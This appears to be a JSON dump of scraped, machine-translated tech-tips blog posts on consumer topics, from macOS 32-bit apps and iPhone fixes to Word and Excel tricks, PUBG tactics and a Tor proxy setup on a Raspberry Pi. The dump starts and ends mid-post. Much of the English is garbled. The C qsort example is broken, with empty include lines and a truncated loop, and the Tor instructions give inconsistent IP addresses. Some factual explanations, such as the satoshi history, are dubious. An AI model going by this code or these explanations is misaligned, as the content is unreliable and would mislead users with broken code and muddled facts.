Click on the \"System Report\" buttonin the window that appears.\n  Find on the left bar of the 'Software ' section and in the drop-down menu select ' Applications', it will take a few seconds to display the list of installed applications.\n  Move right and find the \"64-Bit \" column . You will see \" No \" or \" Yes\" appear under this column, depending on whether the application is 64-bit version or not 64-bit.\nYou can sort the list by clicking on the \"64-Bit \" column header . Check the list of applications with \" No\" in this column to see which applications are 32-bit on your system.\n  You can use this information to see if you have any problems during the conversion to 64 bit software.For example, in the image above, we can see that there are quite a few 32-bit Adobe software.However, Adobe is actively developing applications, so we expect Adobe applications to become 64-bit soon and will not have any problems.\nOn the other hand, if you have a special 32-bit application, you should check to see if it is still being developed and updated.If not, you should search for an application to replace it.\nFortunately, you don't need to rush to find alternative applications because these applications will work normally on the High Sierra operating system.These software will display warnings in the operating system after the High Sierra, and will shut down operating systems after High Sierra as soon as one or two versions.This means you have at least the end of 2019 until these applications stop working completely.\nEven if that time comes earlier and you still have some irreplaceable 32-bit applications, you can continue to use the current macOS version and refuse to update the operating system if the application important to you.That will help you extend the time.However, in the end, developers continue to update the application to develop future macOS versions, so you should consider finding and using 64-bit applications.\nHow to downgrade macOS High Sierra Beta to macOS Sierra ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyVqMFuf5GboK1lkaW9rbXCmquip56oeri1y6VkrKyfpXq4u9GkoKefXaS7bsDHnmSmmZNirqfAxKtkraCVYrWqs8dmqqKdoqeubrvPnqmarJmjtG6%2F2KyrnqU%3D\n","link":"/post/how-to-test-32-bit-applications-will-stop-working-on-the-mac-after-the-high-sierra-operating-system/","section":"post","tags":null,"title":"How to test 32-bit applications will stop working on the Mac after the High Sierra operating system"},{"body":"Google Lens is a feature that helps virtual assistant Google Assistant to scan images and search for relevant information. This is a very useful feature but it was only available on Pixel smartphones before.\nAfter a year of debut since the Google I / O event last summer, the Google Lens feature was finally officially updated for all Android smartphones via the Google Photos app.\nYou can download the free application and view Google Photos photos for the latest version from the Play Store store.\n  After installation, you can use the Lens scanning feature to find information about them such as scanning images of a famous architecture to search for related historical events, scanning a book cover. to display reviews . Or you just need to use the rear camera and head to a router to automatically connect to Wi-Fi or scan the sign of a store, to receive reviews and can book a table first .\n  See more:\nWhat can Google Photos Assistant do for you? Google Photos helps create short films from emotional photos to celebrate Valentine's Day Google officially launched Google Pay payment service to replace Android Pay globally ncG1vNJzZmismaXArq3KnmWcp51kvKeyyJygmqRdnLyws8ueZKWdnqh6qr%2BMrqedmaSasW6yzqtkmqScYq6vsNGooJ1lo6Kus8DPoaannaM%3D\n","link":"/post/official-google-lens-is-updated-for-all-android-smartphones/","section":"post","tags":null,"title":"Official Google Lens is updated for all Android smartphones"},{"body":"In the second week of February 2020 at Unpacked, Samsung will introduce to the Galaxy S generation technology, specifically the Galaxy S20 series with high expectations for a smartphone generation with many new technologies, Breakthrough in smartphone village in the world. Recently some information about the Galaxy S series has been leaked, including the possibility that Samsung will integrate eSIM technology for the Galaxy S20 series.\neSIM is an electronic SIM card programmed into the device to replace the normal physical SIM card, creating convenience for users. Currently, eSIM has been deployed in most of the world for new smartphones, including 2018 iPhone models.\n  The Galaxy S20 series is not the first smartphone expected Samsung to integrate eSIM, but previously, it has integrated into the Galaxy Fold. It can be seen that Samsung's use of eSIM for upcoming phones makes it more convenient for users to use, can use Dual SIM at the same time and still expand the memory with microSD. This is different from before when Samsung's flagship devices are equipped with hybrid SIM slots to choose to use Dual SIM or a single SIM microSD card.\nncG1vNJzZmismaXArq3KnmWcp51kwKK50q6loGWnnrmtecinq56fopbBpnnErKCmZaSasKm6zqWmoLFdpLtus8ClmLGxXah%2FcXnUpaurmQ%3D%3D\n","link":"/post/samsung-will-integrate-esim-technology-on-galaxy-s20-ultra/","section":"post","tags":null,"title":"Samsung will integrate eSIM technology on Galaxy S20 Ultra"},{"body":"Void qsort function (void * base, so-phan-tu, kich-co, int (* compar) (const void *, const void *)) arranges an array.\nQsort () function stands for Quick Sort, written based on Quick Sort algorithm.\nDeclaring the function qsort () in C Below is the declaration for qsort () in C:\nvoid qsort ( void * base , so - phan - tu , kich - co , int (* compar )( const void *, const void *))  Parameters base : This is the pointer to the first element of the array to be sorted.\nso-phan-tu : This is the number of elements in the array pointed by the base pointer.\nkich-co : This is the size (in bytes) of each element in the array.\ncompar : The function compares two elements.\nReturns the value This function does not return any values.\nFor example The following C program illustrates the usage of qsort () in C:\n#include #include int values [] = { 88 , 56 , 100 , 2 , 25 }; int cmpfunc ( const void * a , const void * b ) { return ( *( int *) a - *( int *) b ); } int main () { int n ; printf ( \"Truoc khi sap xep, list co dang: n\" ); for ( n = 0 ; n Compiling and running the above C program will result:\n  According to Tutorialspoint\nPrevious lesson: Function bsearch () in C\nNext lesson: Function abs () in C\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKqqqKqkYrO2usKtoKimXZ67bq8%3D\n","link":"/post/the-qsort-function-in-c/","section":"post","tags":null,"title":"The qsort () function in C"},{"body":"In the past (about 2010-2013), the phrase MMS is a popular keyword for those who use mobile devices and especially texting. In the past, we did not have modern image and data transmission tools like now, at that time we only had MMS to transmit that data. In this article we will learn about what is MMS? Different from SMS? How much does it cost to send MMS messages?\n  1. What is an MMS message? Different from SMS MMS is an acronym for Multimedia Messaging Services which means Multimedia Messaging Service. Multimedia we can understand as images, sounds, . That means that MMS will allow us to send messages with pictures and sounds via phone numbers to each other. MMS differs from the mode of operation of current messaging software, services such as Messenger, Zalo, Skyper . in that it will be sent directly via phone number without downloading software, registering an account. More specifically, you can send a message to E-mail. In return, you will lose a fee to be able to use this service. Currently almost all carriers support MMS service, though it is no longer used by many people. Operators Viettel, Vinaphone, Mobifone,Vietnamobile also supports users to send MMS with very cheap fees (ranging from 1000-2000 VND / 1 MMS).\n  SMS is the abbreviation for Short Message Services which means Short Message Service. Why is it called a short message service because SMS supports users to send messages with only alphanumeric and special characters and each message you can not exceed 160 characters (if exceeded will automatically split into 2 different messages). SMS is the most popular today and probably still is.\n  So, SMS and MMS are different in that MMS supports many more service features such as: Send images, sounds, Email . And SMS you can only send text.\n2. How much does MMS cost? Currently, the level of MMS does not have a general rule. With each network we have different prices and each service pack, there are different prices too. Below is the price list of some carriers for your reference.\nViettel Postage\nApplicable with the package\nVND 100 / mms\nHischool, Student\nVND 200 / mms\nTomato, Village\nVND 300 / mms\nEconomy, Happyzone, Iphone prepaid, Tourist voice, and postpaid packages.\nMobiFone Service\nPrice\nMMS character\nVND 300 / mms\nMMS includes audio and video\nVND 600 / mms\nVinaphone Service\nPrice\nMMS character\nVND 300 / mms\nMMS includes audio and video\nVND 600 / mms\nVietnamobile Capacity\nPrice\nMMS ≥ 100kb\nVND 500 / mms\nMMS VND 300 / mms\nThus, in this article, the Software Tips worked with you to learn about MMS and the cost of this service. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWRo3quudJmm6Kelpq%2FprrTZp2rp51iwK6%2FjKGmsGWdqrCpecOonKxlmal6pLvSrWStp12osq%2BwjKakrGWdmsC0rcaeqg%3D%3D\n","link":"/post/what-is-an-mms-different-from-sms-how-much-does-it-cost-to-send-mms-messages/","section":"post","tags":null,"title":"What is an MMS? Different from SMS? How much does it cost to send MMS messages?"},{"body":"What is Satoshi? Satoshi is the smallest currency of Bitcoin recorded on the blockchain. Satoshi 1 equals 1 part 100 million of Bitcoin, ie 1 Satoshi = 0.00000001 BTC. This unit is named after Bitcoin's father, Satoshi Nakamoto.\nAll amounts on the blockchain are named satoshi before switching to display. Source code also uses satoshi when determining a bit of Bitcoin. When displaying a very small part of Bitcoin, such as when charging on every byte or faucet, the amount is displayed in satoshi for easy reading.\nAlthough satoshi is the smallest amount that can be recorded on the blockchain, but payment channels may need to be paid in great detail, sometimes people even calculate Bitcoin in millisatoshi, which is one-hundred-billionth of Bitcoin.\nAs of October 2017, 1 US cent is worth about 171 satoshi.\nSatoshi's history The value of a Bitcoin decided by Satoshi Nakamoto in November 2008 is 100 million satoshi.\nOn November 15, 2010, the first proposed rate is 1 satoshi = 0.01 BTC. 4 months later, he again suggested that 1 satoshi = 0.00000001 BTC. The satoshi name is then accepted and widely used.\nSatoshi is often abbreviated as sat or s, and currently no satoshi currency symbol is widely accepted.\n1 Satoshi is how many Bitcoin? As mentioned above 1 Satoshi = 0.00000001 BTC. Below is a table of satoshi conversion to Bitcoin:\n  If you're digging Bitcoin or learning about this digital currency, you'll be interested in Bitcoin prices today, as well as its smaller currencies.\nHope this article can help you.\nSee also: 6 best Bitcoin digging software for Windows, Mac, Linux\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWjlsGwv8eiZGplo5bBsL%2FHomSiq12dvLh5zJqlsmWSnsGku8in\n","link":"/post/what-is-satoshi-1-satoshi-is-how-many-bitcoin/","section":"post","tags":null,"title":"What is Satoshi? 1 Satoshi is how many Bitcoin?"},{"body":"Note, the following solutions are applicable to regular mobile calls, FaceTime as well as voice and video calls through WhatsApp, Zoom, Skype, Messenger .\nBefore you start, make sure your iPhone isn't connected to any Bluetooth device, for example, AirPods headphones, wireless speakers .\n1. Turn off silent mode If the switch on the left side of the iPhone is orange / red, the silent mode is active. At this time, the device will not ring and will not emit any sound for incoming calls or new notifications.\n  So all you need to do is simply turn the switch to the right to turn silent mode off.\nIn addition, users can also access Settings - Sounds \u0026amp; Haptics (sounds and touch), then drag the slider in the Ringer and Alerts (bells and alarms) to the right.\n  2. Turn off Do Not Disturb\u0026nbsp; Do Not Disturb mode is designed to mute incoming calls, messages and app notifications.\nTherefore, if you accidentally enable Do Not Disturb (do not disturb), you can disable it by going to Settings - Do Not Disturb (do not disturb), then turn off the Do Not option. Disturb (do not disturb).\nAlternatively, you can quickly do this by opening the Control Center, and finally clicking on the purple crescent moon icon.\n  3. Restart iPhone This is the easiest way you should try it out if you run into any problems on your iPhone. To do this, go to Settings - General - Shut down - Slide to power off (slide to power off). Once the iPhone is completely off, simply press the power button for a few seconds until the Apple logo appears.\n  In case the phone hangs, does not respond to the operation, you need to force your iPhone to restart by pressing the volume up button and releasing, press the volume down and release button, then hold down the power button for about 10 seconds until the Apple logo appears.\nOn older iPhone models (with the physical home button), you can simply hold down the Home button and the power button at the same time to force the device to reboot.\n4. Update iOS The fact that the iPhone doesn't ring for an incoming call is also sometimes related to software bugs. To fix it, simply update the operating system to the latest version by going to Settings - General - Software Update - Download \u0026amp; Install (download and install put).\nNote, before performing the update, you should back up all data on iPhone via iTunes or iCloud to minimize possible risks.\n  5. Reset all settings First, go to Settings - General - Reset - Reset all settings, and enter your password when prompted.\nThis option will only return all settings on the iPhone back to the original default state, without affecting the data (photos, videos, contacts .) currently on the device.\n  If you are installing spam call blocking applications such as TrueCaller, Hiya . iPhone will automatically mute spam calls and advertisements. However, the application can sometimes be confused with the phone numbers in the contacts.\nSo try removing junk call blocking apps and check if the problem is fixed. If not, users should bring iPhone to an authorized Apple repair center for assistance.\nFix iPhone iPhone ncG1vNJzZmismaXArq3KnmWcp51kgm7DwLKqZqyfYrOqxIyip6Gnnpp6r7vTZqmippeeu6h51qGcp2WRYrCiuMtmmqillah6qro%3D\n","link":"/post/5-ways-to-fix-iphone-not-ringing-when-a-call-comes-in/","section":"post","tags":null,"title":"5 ways to fix iPhone not ringing when a call comes in"},{"body":"Shooting skills or other skills are essential to survive in survival shooters, including PUBG Mobile. Instead of choosing to fight every match, many gamers choose to camp, ambush enemies. This way is said to be quite effective in the game.\nHowever, lying still and waiting for prey also need separate techniques. The following article will summarize users with some techniques when camp in PUBG Mobile.\nPUBG Mobile errors and how to fix them Basic mistakes to avoid when playing PUBG Mobile How to play PUBG Mobile on PC using Nox App Player PUBG Mobile camp tips 1. Select the location\nChoosing a location to ambush enemies is the first and important factor. Players need to calculate back and forth, if the ambush plan is not successful.\nDuring the camp, pay attention to shoot from the hiding place to save blood and make the most of the armor. Note that with the Duo or Squad mode, it is necessary to carefully cover the positions where the wings are thrown. Many gamers tend to choose high places, clear views to plug their opponent's shot.\n  2. Attack the house\nThe houses in the game are not necessarily safe, so the camper needs to know the location at the right time. When striking the opponent in the building creates a certain effect when playing the team. Gamers need to block all enemy access routes, communicate with the team regularly and attack at the same time, using stun grenades to disable the enemy.\nIn the case of solo play, use bullets to drive the enemy out of hiding place and then release bullets afterwards.\n  3. Put loot traps\nIf you have many good things, use them to trap the enemy. Empty areas like buildings try putting some items like blood, water, medkit or weapons on the ground and hiding in a safe place, then wait for the enemy to attack.\nIf there is a Flare Gun, then lure the enemy by shooting a gun to the sky to call Air Drop, then attack the enemy from a safe hiding position.\n  4. Raise vigilance\nWhether with a normal player or a camper, you must always be on high alert. When moving from one place to another, you need to use the Free look feature to look around, protect your life.\nIf watching from home, listen to the static around anyone who is nearby or not, to respond promptly.\n  5. Always close\nWith some camper when ambushing in the house always forget to close. This accidentally harms the player. Enter the house and close the door, loot little things and lie quietly in one place to wait for the prey. Need to stay away from windows to avoid being detected by the enemy.\n  Laying an ambush for an opponent in PUBG Mobile also has the necessary skills and clear strategies such as finding a hidden position, paying attention to what when the opponent camp. When ambushing the enemy, the player must concentrate, keep calm to be able to handle all situations quickly.\nSee more:\nHow to play Night Mode on PUBG Mobile? How to install Vietnamese interface for PUBG Mobile 9 things to note when playing PUBG Mobile if you want to top Wish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51krq6u1KyfZqyZpcBuu81mp66al2K6sK7IpZw%3D\n","link":"/post/ambush-tips-on-pubg-mobile/","section":"post","tags":null,"title":"Ambush tips on PUBG Mobile"},{"body":"Below is a design of a 3-storey 1-storey tube house on an area of ​​35m2 (3.3 × 10.5m2), one front, please refer.\nThe typical feature of a townhouse is a narrow width, a facade so the reasonable division of functional space and the taking of light, air circulation are extremely important to avoid feeling claustrophobic.\nTherefore, the first floor door will use glass materials to get light. The facade of floors 2 and 3 is designed as a large glass window to get light and wind.\n  Function ground floor 1\nThis 35m2 model house has stairs, toilets and a floor that is designed at the end of the house to save space and create a spacious and flexible living room space. Kitchen, cooking area and shelf system runs along the letter I to save space.\nTo design a small living room for a tube house, you can refer to the article 'Designing a beautiful, modern small living room'.\nFunctional ground floor 2, 3\n  Floors 2 and 3 are designed almost the same including the bedroom and the office. These two spaces are separated by a partition or shelf to ensure ventilation and light for the entire space.\nFunction floor area tum\n  The attic floor is designed to include spacious chapel and family laundry and drying area.\nncG1vNJzZmismaXArq3KnmWcp51kr6at1K2gn62cYoB2uZFmn6ito5p6rrvDnqNma12bubC70axkamWkqro%3D\n","link":"/post/beautiful-35m2-house-model-3-floors-1-tum/","section":"post","tags":null,"title":"Beautiful 35m2 house model, 3 floors 1 tum"},{"body":"A user often has multiple email accounts such as personal email, work email, etc., and it is convenient to check all your email accounts on your computer and mobile device. You also need to know how to delete email addresses from the device for accounts that are no longer in use.\nIf you haven't moved your email to alternatives to Apple Mail and still use Mail, the following article will show you how to add and delete email accounts in Mail on Mac, iPhone and iPad.\nInstructions on how to manage email and mailboxes in the Mail application on iPhone / iPad Add an automatic or manual email account If your email account is from an email service provider like Google, Yahoo or iCloud, Mail will automatically add an email account with your email address and password. If you are using an email address from an Internet service provider (ISP), you may have to set up an email account manually.\nTo set up an email account manually, you need to know your username (usually your full email address), Incoming Mail Server and Outgoing Mail Server. If you do not know these things, find or contact your email service provider.\nPOP with IMAP You must also choose IMAP or POP for your email account. IMAP stands for Internet Message Access Protocol (POP) while POP stands for Post Office Protocol. These protocols allow you to receive email using a third-party application such as Mail.\nIf you access your email on multiple devices such as computers, phones and tablets, you should use IMAP protocol. Email and directory structure are stored on the server and only the copies are stored on your device. Using IMAP ensures that all your devices will see the same email structure and folder.\nPOP is also useful if you want to download and store emails (not copies) on the device. You can download email with POP even without Internet connection. POP is a good way to back up all your emails. However, if you choose POP in the email client application on your mobile device, you may not be able to create and use folders to organize your email.\nIn case you use POP in the email client application on the computer, make sure to set the option to leave a copy of the email downloaded on the server. That way, you can download email to your computer and still receive the same email on your mobile device.\nAdd email account with two-factor authentication Two-factor authentication (2FA) is a security method that provides additional security when logging into an online account. You must prove your identity in two different ways. Most online accounts that use passwords are vulnerable.\nAuthentication of two factors provides a second layer of security for your account, requiring you not only to know the password but also to have a phone. This makes it harder for hackers to access your account.\nIf you add an email account that has two-factor authentication such as a Gmail account, you must receive an application-specific password before adding your email account to Mail.\nThe application-specific password is the code generated by the email service or provider. This code is used in place of your regular password when adding an email account to Mail or any third-party email application. Your email service provider will show you how to get an application-specific password for your email account.\nAdd an email account to Mail on a Mac You can add email accounts to Mail on a Mac in the application itself or with System Preferences.\nUse the Mail application to add an email account To add an email account using the Mail application, open the application and go to Mail\u0026gt; Add Account .\n  Select the type of email you want to add, if not listed, you can select Other Mail Account .\n  If you have selected Other Mail Account , the system will still add an automatic email account. The following dialog box is displayed if the account name and password are not verified. Enter additional information as discussed in the Add automatic or manual email account section above and select IMAP or POP. Next, click Sign In .\n  If your email account is verified, select the application you want to use and click Done .\nNote: Your email account may not support all listed apps.\n  Change the description of the email account using the Mail application\nYour email account will show up in Mail's Inbox . By default, the email address will be displayed as a description for the account. To change it, right-click on the account in Inbox and select Edit from the pop-up menu.\n  Select the email account you want to rename. Next, enter a new Description and close the dialog box.\n  Use the System Preferences application to add an email account You can also add email accounts to your Mac with System Preferences. Go to the Apple menu and select System Preferences . Next, click Internet Accounts .\n  Select the type of email account you want to add. Select Add Other Account if you don't see the type of email you want to add in the list.\n  This also adds an email account to the Mail application on the Mac and the same settings. Either way, the Mail application or System Preferences, email are added to the Mac and Mail application.\nChange the email account description using System Preferences\nBy default, the email address will be displayed as a description for the account. However, you can change this just like you did in the Mail application. Go to Apple\u0026gt; System Preferences and click Internet Accounts .\nNext, select the account you want to rename and click Details .\n  Enter a new description and click OK .\n  Set up email checking frequency You can choose how often you check messages for new emails by going to the Mail menu in the Mail application and choosing Preferences .\n  You can select Automatically Check for new messages when opening Mail. If you want more control, you can choose a frequency from the pop-up menu. This is useful if you are using a Mac with a battery. Checking email regularly will cost you more battery.\nIf you want to choose a time to check for new email, even if Mail has been opened, choose Manually . To receive new emails manually, select Get All New Mail from the Mailbox menu or press Command + Shift + N.\n  How to prevent Apple Mail from automatically turning on when opening email on macOS Delete or deactivate email accounts from a Mac If you have an email account on your Mac that is no longer in use, you can delete it. Go to the Apple menu, select System Preferences and click Internet Accounts. Select the account you want to delete and click the minus sign below the account list.\n  There are two options here, you can Remove From All , remove the email account including all settings for the account and all related emails.\n  Or if you don't want to delete the account settings and email, you can Turn Off Account . This will protect the settings and emai, but the account moves to the end of the list and is labeled as Inactive . Inactive email accounts are not displayed in Mail.\n  You can also make your account inactive by unchecking all related applications for the account. If you want to use some of the available applications for your account, but you don't want to add an email account to Mail, uncheck Mail in the list of applications while leaving the apps you want to use.\n  Add an email account to Mail on iPhone or iPad If you always have to move and depend on your phone or tablet to connect, you can add your email account to Mail on iPhone and iPad.\nHere's how to add an email account for the iPhone but this process is similar on the iPad. Open Settings , go to Mail\u0026gt; Accounts\u0026gt; Add Account .\n  If you see your email provider listed, tap that account to automatically add your account with your email address and password (or application-specific password). If you do not see your email service provider, click Other and then Add Mail Account to manually add your account.\n  If you manually add your account, enter your name, email, password (or application-specific password) and describe it on the New Account screen , then click Next .\n  Touch IMAP or POP at the top of the next screen. Both protocols can be used, but you should use IMAP on a mobile device.\n  Whether you add your account automatically or manually, select the content you want to sync, then click Save .\n  Change the description on the email account By default, the email address will appear as a description for a new email account. However, you can change this by typing in your email account in the Accounts list .\n  On the next screen, select Account\n  Enter a new description in the Description box and click Done.\n  Select Fetch or Push for the new email account Fetch and Push are two different ways for mobile devices to receive emai. With Fetch, your device will automatically check your email server to receive new emails and download them. With Push, the email server notifies your email client application when there are new emails to download and the client will download the new email.\nFetch is initialized by the email client, while Push is initialized by the email server. Fetch usually occurs on a timed basis, while Push occurs in real time. Therefore, using Push, email comes faster and saves battery more than Fetch.\nNote: Your email service provider may not support Push, but Fetch is supported by all email providers.\nTo change the Fetch and Push settings for your new email account, go to Mail\u0026gt; Accounts\u0026gt; Add Account in Settings , then touch Fetch New Data .\n  If you want to receive email on your device as soon as possible, make sure Push is turned on (the slider button is green).\nFor each emai account, you can set up Mail to retrieve scheduled emails or manually download email when opening the Mail application. By default, the phone automatically checks for new email after a certain period of time.\nTo check the email manually for the new email account, tap the account name on the Fetch New Data screen, then select Fetch or Manual . Touch the back arrow on the upper left to return to the Fetch New Data screen .\n  Fetch is only used when Push is off or for email accounts and applications do not support Push. At the bottom of the Fetch New Data screen , select the time interval to receive the new email. If you choose Manually , the email will be downloaded when you start Mail. This can help save battery power.\n  Delete email accounts from Mail on iPhone and iPad If you have an unused email account on your iPhone or iPad, you can delete it. Go to Settings\u0026gt; Mail\u0026gt; Accounts and click on the account you want to delete.\n  Tap Delete Account and then click Delete Account on the dialog box that pops up. Your account and all emails and settings will be deleted from your device.\n  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqiusNmm56klamybrHMmqClZZGYsLDBza2qZqeeYrqir4yip6Gnnpp6orrDZqCpmZQ%3D\n","link":"/post/how-to-add-and-delete-email-accounts-on-mac-iphone-and-ipad/","section":"post","tags":null,"title":"How to add and delete Email accounts on Mac, iPhone and iPad"},{"body":"  Create a circled number in Word to make your text presentation even more beautiful and special. To be able to circle the number in Word, the readers of TipsMake.com follow the steps below.\nFirst you need to go to the Insert ribbon, located right next to Home on the Word toolbar.\n  Next, you look to the far right corner to see the Symbols section , click on the Symbol icon of this item and select More Symbols .\n  The Symbol function window will appear, thanks to this window, you can insert special symbols not on the keyboard, and here we need to find the circled numeric symbols.\nTo see these symbols, you need to change the Font item to Arial Unicode MS .\n  After converting to Arial Unicode MS font , you will see the Subset item, convert the Subset item to Enclosed Alphanumerics .\n  Now you can see the numbers circled here. To insert them into the edited text, you can select a highlighted number and click Insert to insert the text.\n  You can insert as many numbers at once as you like.\n  However, if you feel that inserting these circled numeric symbols has to go through too many steps, you can perform shortcut keys for your circled numeric notation.\nTo do that, select the numbers you want to assign, for example, select the number 1 circled. Then you click on AutoCorrect .\n  Next, the AutoCorrect function window will appear, enter the abbreviations you want to assign the symbol to Replace .\nThen click Add to add the abbreviation.\n  Above you have replaced Replace (1) so when you write (1) in your Word editor it will automatically convert to ①.\n  Thank you for reading and following the article How to circle numbers in Word of TipsMake.com us. Hopefully this article has provided the information you need for your work. Good luck.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuZp7CtsYynrKaalafAbrXNZq6oqpQ%3D\n","link":"/post/how-to-circle-numbers-in-word/","section":"post","tags":null,"title":"How to circle numbers in Word"},{"body":"In the learning process, you often use MS Excel to calculate and process data. Because of some requirements that you need to insert mathematical formulas into Excel, but you do not know how to manipulate.\n  The article shows you how to insert math into Excel 2010, with Excel 2007 and Excel 2013 you can do the same.\nStep 1: On the Excel interface, select the Insert tab and select Equation in the Symbol section to appear the mathematical formula insertion frame.\n  If not, you can use Excel built-in formulas when you select the small arrow icon next to Equation and select mathematical formulas.\n  Step 2: When you choose the frame for inserting mathematical formulas, on the Ribbon, the Design tab of Equation Tools appears . At this card you will be able to insert all mathematical formulas, mathematical symbols as you like.\n  You can combine many mathematical formulas together, no matter how complicated the mathematical formula, you can insert it in the Design tab .\nStep 3: After you have inserted the mathematical formula, you can customize it to make the formula clearer and easier to see.\nYou can choose bold font style or large font size in the Font section of the Home tab .\n  The formula is inserted as a textbox so it is not in a cell, you can move the formula to the desired position by placing the mouse pointer on the edge of the formula frame. Then you hold and drag to the required position and release the mouse pointer.\n  Thus, you can insert mathematical formulas, from simple to more complex formulas into Excel spreadsheets without using any additional software. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIymmK2gXZu8s7nUpZisZZmjeqbEwp6j\n","link":"/post/how-to-insert-math-formulas-in-excel/","section":"post","tags":null,"title":"How to insert math formulas in Excel"},{"body":"If you build a terrible project in Mini World, but want to save and share to your map people in Mini World: Block Art like other players have shared the map to your upload list, then you how will.\nCertainly until now many players have not yet figured out how to download and save the map that I created in Mini World: Block Art, especially those who just want to play alone and do not want to participate in Multiplayer mode. Under this article Quantrimang will guide you how to save the map and share your map to other players in Mini World: Block Art.\nHow to earn Mini Beans and get free gifts in Mini World: Block Art How to create a playroom with friends in Mini World Block Art How to download football mode in Mini World Block Art How to download and share maps in Mini World: Block Art Step 1: First, start your Mini World: Block Art, select Start to enter the list of maps available on the device.\n  Click on the map settings icon in the map you want to share.\n  Step 2: Next click on the Share map icon as shown below.\n  Next, what you will have to write for your map will be the Map title , label it to let people know what kind of map you are. The Introduction section you may not need to write.\n  Step 3: Next is the share selection section, here if you choose Upload only, but do not check the box next to it, then this map will be public for other users. They can search by keyword (probably your map title), then download and play, and your map will not be affected.\nIf you select the button Only you see it , you will only see that map.\n  Step 4: As for Send manuscripts , you can share your map to the small association, people can still download and play your maps normally. On the right, the default will be checked. I agree to the user agreement to download the work and Mini Library , below to Allow other players to enable video recording .\n  Step 5: Once you have confirmed the sharing options and saved the map, click Share map \u0026gt; select Confirm sharing to complete the download and save the map. Notice what Mini World warns above.\n  Step 6: After sharing and saving successfully, you will see the map with the Share icon, and the sharing icon is now replaced by arrows. To change the sharing options for the map, click the arrow icon again to select the sharing settings again.\n  Step 7: To check the shared maps again, go to the main interface and click on Mini Library to view the shared map list.\n  In the Mini Library , click My in the list and select Works in the right window.\n  In here, there will be maps that you have shared and saved recently, you want to go back and play that map.\n  So, through the above instructions, you have saved and shared your work in Mini World: Block Art to friends and other online players on Mini World: Block Art.\nIf you often play survival mode and often have to find suitable terrain or hard resources or mounts in the game, you can use the terrain code feature in Mini World: Block Art, you will Use the code maps that the game provides for players, then simply enter the terrain code box. For details, you can see the instructions in the article How to enter the code in Mini World Block Art.\nSee more:\nTypical media for each map on PUBG Mobile Instructions to reduce lag, reduce high ping when playing online games How to download and install PUBG Mobile VNG on Tencent Gaming Buddy How to download PUBG Mobile International version when not found on App store and Google Play Store ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquRq7JuwMeeZKaZoGKur7CMrJ%2BaqpViwamxjKaYqWWZo3qutc2iZLCnoqGxbq7LqJqkZZGnwQ%3D%3D\n","link":"/post/how-to-save-the-map-and-share-the-map-in-mini-world-block-art/","section":"post","tags":null,"title":"How to save the map and share the map in Mini World: Block Art"},{"body":"Are you worried about online privacy? Perhaps you are interested in protecting your personal information from online marketers and advertisers who may want to use the data without your permission, or sell your information you to a third party. Regardless of the engine, the Tor network is one of the most common ways to avoid any form of online surveillance.\nIn today's article, you'll learn how to set up a Tor proxy on your Raspberry Pi and use it to automatically route traffic through Tor whenever you connect to your home network.\nSet up Tor proxy with Raspberry Pi for secure browsing What is the Tor proxy server? Things to prepare Get started: Set up a Raspberry Pi Install Tor on the Raspberry Pi Configure the Tor proxy server Connect to Tor proxy from any web browser Mozilla Firefox Google Chrome (and other Chromium-based browsers) Apple Safari  What is the Tor proxy server? Proxy servers act as intermediaries for clients who are requesting resources from the server, such as files or web pages.\nWhen you set up the Tor proxy server, all traffic will be redirected through the Tor network. Each data packet you send via Tor is encrypted and decoded multiple times, then redirected through a number of relays, randomly selected from the thousands of relays that make up the Tor network. This way, you can hide your location and activity from anyone who is watching the network, including hiding the websites you visit, messages you send and any posts you make.\nMany people access Tor through the free Tor browser, but this requires setting up the browser on any device you have Internet access. If you want to use the Tor network on all your devices or surf the web anonymously with your current web browser, it's often easier to set up the Tor proxy server, which is what you'll learn in the next section this lead.\nThings to prepare To complete this tutorial, you will need:\nRaspberry Pi runs Raspberry Pi OS The power cable is compatible with the Raspberry Pi External keyboard and how to attach it to a Raspberry Pi HDMI or micro HDMI cables, depending on the Raspberry Pi model External screen Ethernet cable (if not connected via WiFi) Get started: Set up a Raspberry Pi To get started, connect all peripherals to the Raspberry Pi.\nWhen the Raspberry Pi starts, click the small network icon on the toolbar and connect to a WiFi network, if you don't use an Ethernet cable.\nBefore you begin, you should check that you are running the latest version of the Raspberry Pi OS. Open Terminal and type the following command:\nsudo apt update \u0026amp;\u0026amp; sudo apt -y upgrade If you have installed one or more updates, restart your Raspberry Pi by running the following command:\nsudo reboot Install Tor on the Raspberry Pi You can install Tor with a single Terminal command:\nsudo apt install tor You can install the Tor software on a Raspberry Pi with a single command.\nYou now have 2 new services running on your Raspberry Pi: tor.service and tor@default.service.\nService tor is only symbolic. To check if the actual tor @ default service is running, use the following Terminal command:\nsudo systemctl status tor@default.service Check if the actual tor @ default service is running If the Terminal returns an active message , you're ready to move on to the next step.\nConfigure the Tor proxy server Set up the proxy server by making some changes to the Tor configuration file. Before editing this 'torr' file , you should make a backup:\nsudo cp /etc/tor/torrc /etc/tor/torrc.backup Now that you have the backup, create a simple configuration, specify the Tor Socks proxy service on port 9050 and accept connections from the local LAN.\nTo open the 'torr' configuration file and edit, run the following command:\nsudo nano /etc/tor/torrc This file will now launch in the Nano editor. First, identify SocksPort , which is the IP address of your Raspberry Pi. You can get this information by running the following Terminal command:\nhostname -I Get this IP address and add the port number : 9050. For example, if the Raspberry Pi's IP address is 192.168.1.111, then add the following to the Torr configuration file:\nSocksPort 192.168.1.111:9050 Add the following to the Nano editor, making sure to replace SocksPort with your own value:\nSocksPort 192.168.1.100:9050 SocksPolicy accept 192.168.1.0/24 RunAsDaemon 1 DataDirectory /var/lib/tor Once you have made the changes, save the file by pressing Ctrl+ Oand Ctrl+ Xto close.\nTo restart the Tor service with the new configuration, run the following command:\nsudo systemctl restart tor@default.service Connect to Tor proxy from any web browser In this final section, you will learn how to connect to a Raspberry Pi server, using all major web browsers.\nNote that you will usually connect to a Raspberry Pi using an IP address. You can access this information at any time by running it hostname -Iin the Raspberry Pi Terminal.\nMozilla Firefox Start by configuring Firefox to use the proxy 